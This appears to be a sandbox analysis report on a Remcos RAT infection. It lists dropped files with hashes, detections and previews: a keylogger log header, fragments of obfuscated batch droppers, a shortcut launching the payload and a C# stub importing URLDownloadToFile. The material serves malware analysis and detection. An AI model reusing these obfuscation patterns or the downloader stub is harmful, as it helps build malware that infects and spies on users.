                                                                                Size (bytes):228
                                                                                Entropy (8bit):3.3892779985923327
                                                                                Encrypted:false
                                                                                SSDEEP:3:rhlKlyKGlFeBNQlCb5JWRal2Jl+7R0DAlBG45klovDl6ALilXIkqoojklovDl6A0:6lZfkYb5YcIeeDAlOWAAe5q1gWAAe3
                                                                                MD5:519FC354D7F572130FC02E4BAED14D8B
                                                                                SHA1:C4C2DCF7BEC6F1493BE1EA0355876724692F5CEC
                                                                                SHA-256:B37C301EA515B50DF3ECF6463796B1462075F49FED5630EE20C3516EAB6906E7
                                                                                SHA-512:740CC1BFA232DB64092AD893958E04A8B1FF5DA938587A6F402BD232C44CD8B1188107859483ADF94111B4D81D8EE9523F5955D519B600A729BABC6331AE2825
                                                                                Malicious:true
                                                                                Yara Hits:
                                                                                • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
                                                                                Preview:....[.2.0.2.4./.1.2./.1.8. .0.9.:.3.5.:.5.8. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.R.u.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.

                                                                                C:\Users\Public\Emxwenem.url

                                                                                Download File
                                                                                Process:C:\Users\user\AppData\Roaming\nicerose.exe
                                                                                File Type:MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Emxwenem.PIF">), ASCII text, with CRLF line terminators
                                                                                Category:dropped
                                                                                Size (bytes):104
                                                                                Entropy (8bit):5.139114752324313
                                                                                Encrypted:false
                                                                                SSDEEP:3:HRAbABGQYmTWAX+rSF55i0XMV1EysbxcS+KuA+:HRYFVmTWDyzNyExj+K+
                                                                                MD5:AF5DDDBB318B93CB61099693DCA794B3
                                                                                SHA1:DBB5E146D2B99372D81318CADD086995DA6A90C5
                                                                                SHA-256:A7E2C3F6878135328F8B58D552AD2E38F4A03E0DD38C45AD39754E99D44F93F6
                                                                                SHA-512:A697B20B2D90DB1911FF876683BFC1409E04E668FD25C382EC9A23A9D82F35531CDBCC0151F8372DB94633458D83E2625847B0114AC584DBF0ABCF08245F7188
                                                                                Malicious:true
                                                                                Preview:[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Emxwenem.PIF"..IconIndex=924497..HotKey=51..

                                                                                C:\Users\Public\EmxwenemF.cmd

                                                                                Download File
                                                                                Process:C:\Users\user\AppData\Roaming\nicerose.exe
                                                                                File Type:DOS batch file, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                Category:dropped
                                                                                Size (bytes):15789
                                                                                Entropy (8bit):4.658965888116939
                                                                                Encrypted:false
                                                                                SSDEEP:384:wleG1594aKczJRP1dADCDswtJPZ9KZVst1U:LA4aLz08JaJ
                                                                                MD5:CCE3C4AEE8C122DD8C44E64BD7884D83
                                                                                SHA1:C555C812A9145E2CBC66C7C64BA754B0C7528D6D
                                                                                SHA-256:4A12ABB62DD0E5E1391FD51B7448EF4B9DA3B3DC83FF02FB111E15D6A093B5E8
                                                                                SHA-512:EA23EDFB8E3CDA49B78623F6CD8D0294A4F4B9B11570E8478864EBDEE39FCC6B8175B52EB947ED904BE27B5AF2535B9CA08595814557AE569020861A133D827D
                                                                                Malicious:false
                                                                                Preview:.@echo off..@% %e%.%c%o..%h%. .......%o%r.r.r.....% %.......%o%..%f% .%f%o%..s%...... .%e%.r.%t%...o..r.% %.....%"%.......%u%.%T%r..%A%..%j%r........%=%.. o......%s%....o...%e%.....%t%.% %........%"%.r.......o%..%uTAj%"%.. . ..%N%.r r.... %U%... .oo...%M%r.........%j%.....%=%.....o....%=%.%"%r...... %..%uTAj%"% .....%m%..oo%X%.o.. %m%.....or.%w%....%O%.%g%.....%B%.o .r.. %W%..%D%........%t%o.r...%%NUMj%h% ...o.%t%..%t%o......o%p%.........%"% .r%..%uTAj%"% .... ..%G%...o.. ..%n%..rr..%j%..o......%D%...o .r..%R%r.

                                                                                C:\Users\Public\Libraries\Emxwenem

                                                                                Download File
                                                                                Process:C:\Users\user\AppData\Roaming\nicerose.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):847380
                                                                                Entropy (8bit):7.404360654700282
                                                                                Encrypted:false
                                                                                SSDEEP:24576:ptIYYu1S1QfNWSb2euWo90fYXvjUtxs1nZ:DVnh/nE0fYXvqxs1nZ
                                                                                MD5:8B54B08B2D95D05647C46402656B40AF
                                                                                SHA1:1ED99BC0C8FA56E0FD68134B281C56CA0C60579E
                                                                                SHA-256:869941F8AA6684C7BE48352941D75C9577CE2153B5EAA3F1F5F9AD8BD2EF602D
                                                                                SHA-512:771ADFBCCDE1272143F8E2EE2720B2E605F399F29BF8FFF817FB4342BB13B593DD6CDD3D13F3BF55FE7B8AFF6752F9A9A46EE6F315D177478254C2A07CC74581
                                                                                Malicious:true
                                                                                Preview:...Y#..K...$.......!$!....#'.!.!.....!$..........%.....'.%...%'& ..."...#...'...#$..' ....'.'..$...Y#..KP.%$.....%....Y#..K...........V.@@/..`..".....">J...H....I....[..dL./W..W.%K..)..r...SJJ-....K>.4...q.>0...5....*k..&P.......,.J.z1q...c...[...z..cb..5.A..J.I..+V.......G|.V....Rz......8DJ..3......t$...VA:..w.V..'..D;=?-<.._:........]* ....!::.....q..S...Yo...V.@......%.........e...[V......>...8U...Y...3........X...<..C9..5......E.@...2..4a.Gu.q....l.....wc+..... ...aT...{...{Z=.C......*.......A...Q..dK.R.h....Y59|@@.....U.......P...4H...:.4p.D...C9.P.....< ..PE...SD....R.I.T.B9......4,,E.}...Z...#.y.s."...<.k..(....m...+..... 4...Z<..J..5.C8....,.,.o.3T"A.....R..F..#..E:=.......B//B|............u.h.x....t..U..}.....9.....................".L........+...8....,B..2SF.4.G...t*u.6.5.C..k......X.+.Z.P...V;<...V..x,?EJ.I...e...h....e..Wz.5.3I....H..\e.........u4J... .:..&....P..0..~W.o.............+....K..3....."....@...Y.w.....,..

                                                                                C:\Users\Public\Libraries\Emxwenem.PIF

                                                                                Download File
                                                                                Process:C:\Users\user\AppData\Roaming\nicerose.exe
                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                Category:dropped
                                                                                Size (bytes):1362944
                                                                                Entropy (8bit):7.346681623297669
                                                                                Encrypted:false
                                                                                SSDEEP:24576:TS1gzTBokW3THfYl7JTOs1r7FX2DOfqDrKfK8r/4mSwhONqR:TtTiq973f
                                                                                MD5:CCDCD04A0FFDE31366754018598EB02F
                                                                                SHA1:38492826E8FEBF5BD7DA4F9D8A8379EC7044CA9A
                                                                                SHA-256:63C77A3F6CFA94CBC6A4C0C1475F02520592E58D6A03E8553E77A85A3F03C32F
                                                                                SHA-512:8059CF54A64B45598B39BECB3EC02FDF4B5837E4DD84AC82D33334850D61D1B33DF70DA0A65857C33E9A0FE2DC3D405BDBF6FA7214AB68E471E2E0C0F7E31053
                                                                                Malicious:true
                                                                                Antivirus:
                                                                                • Antivirus: Avira, Detection: 100%
                                                                                • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                • Antivirus: ReversingLabs, Detection: 45%
                                                                                Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................,.............@..........................P...................@...........................p...*...@..........................H|...................................................w...............................text............................... ..`.itext..t........................... ..`.data...............................@....bss.....7...0...........................idata...*...p...,..................@....tls....4............@...................rdata...............@..............@..@.reloc..H|.......~...B..............@..B.rsrc........@......................@..@.............P......................@..@................................................................................................

                                                                                C:\Users\Public\Libraries\FX.cmd

                                                                                Download File
                                                                                Process:C:\Users\user\AppData\Roaming\nicerose.exe
                                                                                File Type:DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
                                                                                Category:dropped
                                                                                Size (bytes):8556
                                                                                Entropy (8bit):4.623706637784657
                                                                                Encrypted:false
                                                                                SSDEEP:192:dSSQx41VVrTlS2owuuWTtkY16Wdhdsu0mYKDCIfYaYuX1fcDuy:Vrhgwuua5vdnQaCIVJF6uy
                                                                                MD5:60CD0BE570DECD49E4798554639A05AE
                                                                                SHA1:BD7BED69D9AB9A20B5263D74921C453F38477BCB
                                                                                SHA-256:CA6A6C849496453990BECEEF8C192D90908C0C615FA0A1D01BCD464BAD6966A5
                                                                                SHA-512:AB3DBDB4ED95A0CB4072B23DD241149F48ECFF8A69F16D81648E825D9D81A55954E5DD9BC46D3D7408421DF30C901B9AD1385D1E70793FA8D715C86C9E800C57
                                                                                Malicious:true
                                                                                Preview:@echo off..set "MJtc=Iet "..@%.r.......%e%...%c%...r....%h%.....%o%........% % .....%o%...%f%.o.%f%......%..s%.......%e%.%t%.. .....% %.rr.. .%"%...%w%......%o%...o..%t%r.....%c%....%=%... . .%s%...... %e%....%t%....% %........ %"% o...%..%wotc%"%.%n% r .%O%...%P%.. ..%t%.%=%...... o..%=%......%"%....r...%..%wotc%"aeeYdDdanR%nOPt%s://"..%wotc%"%..........%a%.%e%......%e%.r..%Y%..%d%.....r....%D%.. %d% ... .%a%.. ...%n%.. ..%R%........%%nOPt%s%...... .%:%.. %/%....%/%r......%"%.....r.%..%wotc%"%...... ...%U%.o..%g%.r.%

                                                                                C:\Users\Public\Libraries\NEO.cmd

                                                                                Download File
                                                                                Process:C:\Users\user\AppData\Roaming\nicerose.exe
                                                                                File Type:DOS batch file, Unicode text, UTF-8 text, with very long lines (420), with CRLF line terminators
                                                                                Category:dropped
                                                                                Size (bytes):46543
                                                                                Entropy (8bit):4.705001079878445
                                                                                Encrypted:false
                                                                                SSDEEP:768:Ud6T6yIssKMyD/LgZ0+9Z2noufIBUEADZQp2H8ZLq:UdQFIssKMyjL4X2T8UbZT
                                                                                MD5:637A66953F03B084808934ED7DF7192F
                                                                                SHA1:D3AE40DFF4894972A141A631900BD3BB8C441696
                                                                                SHA-256:41E1F89A5F96F94C2C021FBC08EA1A10EA30DAEA62492F46A7F763385F95EC20
                                                                                SHA-512:2A0FEDD85722A2701D57AA751D5ACAA36BBD31778E5D2B51A5A1B21A687B9261F4685FD12E894244EA80B194C76E722B13433AD9B649625D2BC2DB4365991EA3
                                                                                Malicious:false
                                                                                Preview:@echo off..set "EPD=sPDet "..@%...... or%e%.........%c%......%h%.........o%o%.or......% %.o.ro...%o%.%f%...r.....%f%....r....%..s%. %e%.....%t% % % rrr....%"%.....%E%....%J%.. ....%O%.%h% .......%=%........%s%.. ..%e%....%t%....% %...o...%"%.%..%EJOh%"%.%r% %H%..%C%........%N%....o ....%=%..........%=% .%"%..%..%EJOh%"%.....%K%.%z%..r%j%........%L%..%c%. o.......%f%. o..%x%.%X%.........r%V%.%J%.....%%rHCN%k%.... ...%"%........%..%EJOh%"%.o.....%a%or%g%..o.... ..%u% ..%P%.....o...%X%.. .......%c% .....%U%.%I%. .

                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exe

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                Category:dropped
                                                                                Size (bytes):1362944
                                                                                Entropy (8bit):7.346681623297669
                                                                                Encrypted:false
                                                                                SSDEEP:24576:TS1gzTBokW3THfYl7JTOs1r7FX2DOfqDrKfK8r/4mSwhONqR:TtTiq973f
                                                                                MD5:CCDCD04A0FFDE31366754018598EB02F
                                                                                SHA1:38492826E8FEBF5BD7DA4F9D8A8379EC7044CA9A
                                                                                SHA-256:63C77A3F6CFA94CBC6A4C0C1475F02520592E58D6A03E8553E77A85A3F03C32F
                                                                                SHA-512:8059CF54A64B45598B39BECB3EC02FDF4B5837E4DD84AC82D33334850D61D1B33DF70DA0A65857C33E9A0FE2DC3D405BDBF6FA7214AB68E471E2E0C0F7E31053
                                                                                Malicious:true
                                                                                Antivirus:
                                                                                • Antivirus: Avira, Detection: 100%
                                                                                • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                • Antivirus: ReversingLabs, Detection: 45%
                                                                                Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................,.............@..........................P...................@...........................p...*...@..........................H|...................................................w...............................text............................... ..`.itext..t........................... ..`.data...............................@....bss.....7...0...........................idata...*...p...,..................@....tls....4............@...................rdata...............@..............@..@.reloc..H|.......~...B..............@..B.rsrc........@......................@..@.............P......................@..@................................................................................................

                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\colorcpl.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):963
                                                                                Entropy (8bit):5.018384957371898
                                                                                Encrypted:false
                                                                                SSDEEP:12:tkluWJmnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zz2:qlupdRNuKyGX85jvXhNlT3/7CcVKWro
                                                                                MD5:C9BB4D5FD5C8A01D20EBF8334B62AE54
                                                                                SHA1:D38895F4CBB44CB10B6512A19034F14A2FC40359
                                                                                SHA-256:767218EC255B7E851971A77B773C0ECC59DC0B179ECA46ABCC29047EEE6216AA
                                                                                SHA-512:2D412433053610C0229FB3B73A26C8FB684F0A4AB03A53D0533FDC52D4E9882C25037015ACE7D4A411214AA9FAA780A8D950A83B57B200A877E26D7890977157
                                                                                Malicious:false
                                                                                Preview:{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7503",. "geoplugin_longitude":"-74.0014",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):64
                                                                                Entropy (8bit):1.1510207563435464
                                                                                Encrypted:false
                                                                                SSDEEP:3:NlllulBkXj:NllUS
                                                                                MD5:453075887941F85A80949CDBA8D49A8B
                                                                                SHA1:7B31CA484A80AA32BCC06FC3511547BCB1413826
                                                                                SHA-256:84466098E76D1CF4D262F2CC01560C765FE842F8901EEE78B2F74609512737F8
                                                                                SHA-512:02E95B30978860CB5C83841B68C2E10EE56C9D8021DF34876CD33FD7F0C8B001C288F71FBBFF977DDF83031BD6CD86AC85688A6EFB6300D0221AA4A22ABE7659
                                                                                Malicious:false
                                                                                Preview:@...e................................................@..........

                                                                                C:\Users\user\AppData\Local\Temp\RESDF90.tmp

                                                                                Download File
                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                                                                File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Wed Dec 18 16:32:14 2024, 1st section name ".debug$S"
                                                                                Category:dropped
                                                                                Size (bytes):1328
                                                                                Entropy (8bit):3.9935651998298902
                                                                                Encrypted:false
                                                                                SSDEEP:24:Hqe9E2+fR1XDfHqwKEbsmfII+ycuZhNwGakSzXPNnqSqd:IvzhKPmg1ul9a3xqSK
                                                                                MD5:5AF680E4F6A6E311674FB0E1683A3835
                                                                                SHA1:7F073058F184C574A111941193CD43EB9884ED55
                                                                                SHA-256:F3EA43F4BB994DF55517904496C5DD9CD460C1E3504241C0A79066FAD493B9C0
                                                                                SHA-512:1ED24B6A5EC62741A102E71B3C4A4E150505714D7D4B13C1B950306C6F10E43D016C11A89A186D6ECEC1C9ACB85AB22BD2DB5AA8A7D3A5E2A2C34243A249B8D8
                                                                                Malicious:false
                                                                                Preview:L.....bg.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\mk3z1vxw\CSCE89B4642338842338CD923B6CF8B4F17.TMP................FI.@.+...2a..`H..........4.......C:\Users\user\AppData\Local\Temp\RESDF90.tmp.-.<....................a..Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.k.3.z.1.v.x.w...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2gobldut.1qj.ps1

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_isukl2wv.2ck.ps1

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jmou3aon.i3k.psm1

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ytp1gtlk.khr.psm1

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):60
                                                                                Entropy (8bit):4.038920595031593
                                                                                Encrypted:false
                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                Malicious:false
                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                C:\Users\user\AppData\Local\Temp\mk3z1vxw\CSCE89B4642338842338CD923B6CF8B4F17.TMP

                                                                                Download File
                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                File Type:MSVC .res
                                                                                Category:dropped
                                                                                Size (bytes):652
                                                                                Entropy (8bit):3.1438925044998496
                                                                                Encrypted:false
                                                                                SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grywlGak7YnqqBlXPN5Dlq5J:+RI+ycuZhNwGakSzXPNnqX
                                                                                MD5:E246499840032BFD06C5326197926048
                                                                                SHA1:82D0D585EBAB607DBD83DCA619907F4EC0EFD99D
                                                                                SHA-256:FF5F253C74E50DBCD270325C07393EAA1B7D2A2257C13AABF02B4026CFBD9A62
                                                                                SHA-512:216DA9B418677050FBE9701B7FA7FD4AA4E65E3384DC3144762244D4BADF77852325ABDB29FEB6E1A5667FCEE8F3FCC52C5BC37C073D19F6CD2ACA663A616D72
                                                                                Malicious:false
                                                                                Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.k.3.z.1.v.x.w...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.k.3.z.1.v.x.w...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                                                C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.0.cs

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (371)
                                                                                Category:dropped
                                                                                Size (bytes):490
                                                                                Entropy (8bit):3.8176922757642147
                                                                                Encrypted:false
                                                                                SSDEEP:6:V/DsYLDS81zukXmMmn/JQXReKJ8SRHy4H4r1mNn8b2wDj/YqwIy:V/DTLDfuAdXfHErQoaIy
                                                                                MD5:3133A0E8A2A7F9BD3F2FF03A270769E4
                                                                                SHA1:F4314D0CCAC807322C9B64778EFCCD2380A2604B
                                                                                SHA-256:5BAA6A713032BCDEE2B788FB0217C44ED74D6A210346F34D443055AEDB82B6D9
                                                                                SHA-512:934F70D1EC8EB08B45084ECF51F4CEC129F6AC0CEADBC8D1E306A4C492E99E017C6DC3D59084159BCAF44A3EA2A67AF368D7F5E2F7F82D77598FD8C7A9D77E4C
                                                                                Malicious:false
                                                                                Preview:.using System;.using System.Runtime.InteropServices;..namespace xATqQ.{. public class uALTQJkMyi. {. [DllImport("UrLmon", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr gFX,string tsAXpQCJJl,string gbwTKgVtEHe,uint OMduJqJQQaB,IntPtr g);.. }..}.

                                                                                C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):369
                                                                                Entropy (8bit):5.321261516370265
                                                                                Encrypted:false
                                                                                SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fnNgNe/J0zxs7+AEszIwkn23fnNgNeb:p37Lvkmb6KRfV+WJ0WZEifV+K9n
                                                                                MD5:4362252CC04B3F5269F3ABDCE1CBA550
                                                                                SHA1:90968D4F3C406BCCE3E4AE03B25FC44056B5033A
                                                                                SHA-256:CD148D323802EABBDAD0BD19DB2ADB9C6805F3FACF16CBC0EC462056A7FAE9C0
                                                                                SHA-512:CDBC47426F5A15D5252BE692AEC4055F51F9B8E06F24B957334974EBFC0902A2EC0B0AA5FD2B79FC4250047F1A18C83E24140E682226827D57FC33835D9DF57D
                                                                                Malicious:true
                                                                                Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.0.cs"

                                                                                C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.dll

                                                                                Download File
                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                Category:dropped
                                                                                Size (bytes):3072
                                                                                Entropy (8bit):2.8656720338357697
                                                                                Encrypted:false
                                                                                SSDEEP:24:etGSwPBG5eAdF88d8ckzkMbYtkZfxzKMEWI+ycuZhNwGakSzXPNnq:6PsAdekMbPJxGMn1ul9a3xq
                                                                                MD5:049FDAD2301CCC654461637FE75A53C5
                                                                                SHA1:6F170E178992A0C4D917E86BFED7F4DF78989524
                                                                                SHA-256:06C8EE710C02A5F7675CF50A23BE918188A32CDB74E303F694649F75A5553D7E
                                                                                SHA-512:1FAD8F2D99D53A4D191325D7C8ADAF73E6C9D72893B902B070D8514543D36928A4A035EFDF0F6677C5664B77125709E2BC3BCC45761940873091425CE829731B
                                                                                Malicious:true
                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....bg...........!.................#... ...@....... ....................................@.................................`#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~...... ...#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................8.1.......................................".............. ?.....P ......Q.........W.....[.....f.....r.....~...Q.....Q...!.Q.....Q.......!.....*.......?.......................................(..........<Module>.mk

                                                                                C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.out

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (446), with CRLF, CR line terminators
                                                                                Category:modified
                                                                                Size (bytes):867
                                                                                Entropy (8bit):5.349140255898576
                                                                                Encrypted:false
                                                                                SSDEEP:24:KJBqd3ka6KRfxVEifbuKax5DqBVKVrdFAMBJTH:Cika6CxVEuaK2DcVKdBJj
                                                                                MD5:148E35D87B8E623444ADCA3CDD673319
                                                                                SHA1:DAA3C762FB086C595CC8EF7C75C8D0AC4D5FE910
                                                                                SHA-256:24E34A96B14D41FFE2224C7A67D6DB1D92CA04188B9FC27780F6E91D25330A05
                                                                                SHA-512:0BFF2916D1E582684FAF7F1F5E1603894D640ED4AC10AB0B13A0ABB5BCCC59C264681917AC4BE63759E68933BE125B954D8419AC25DEC8522818973149A55D98
                                                                                Malicious:false
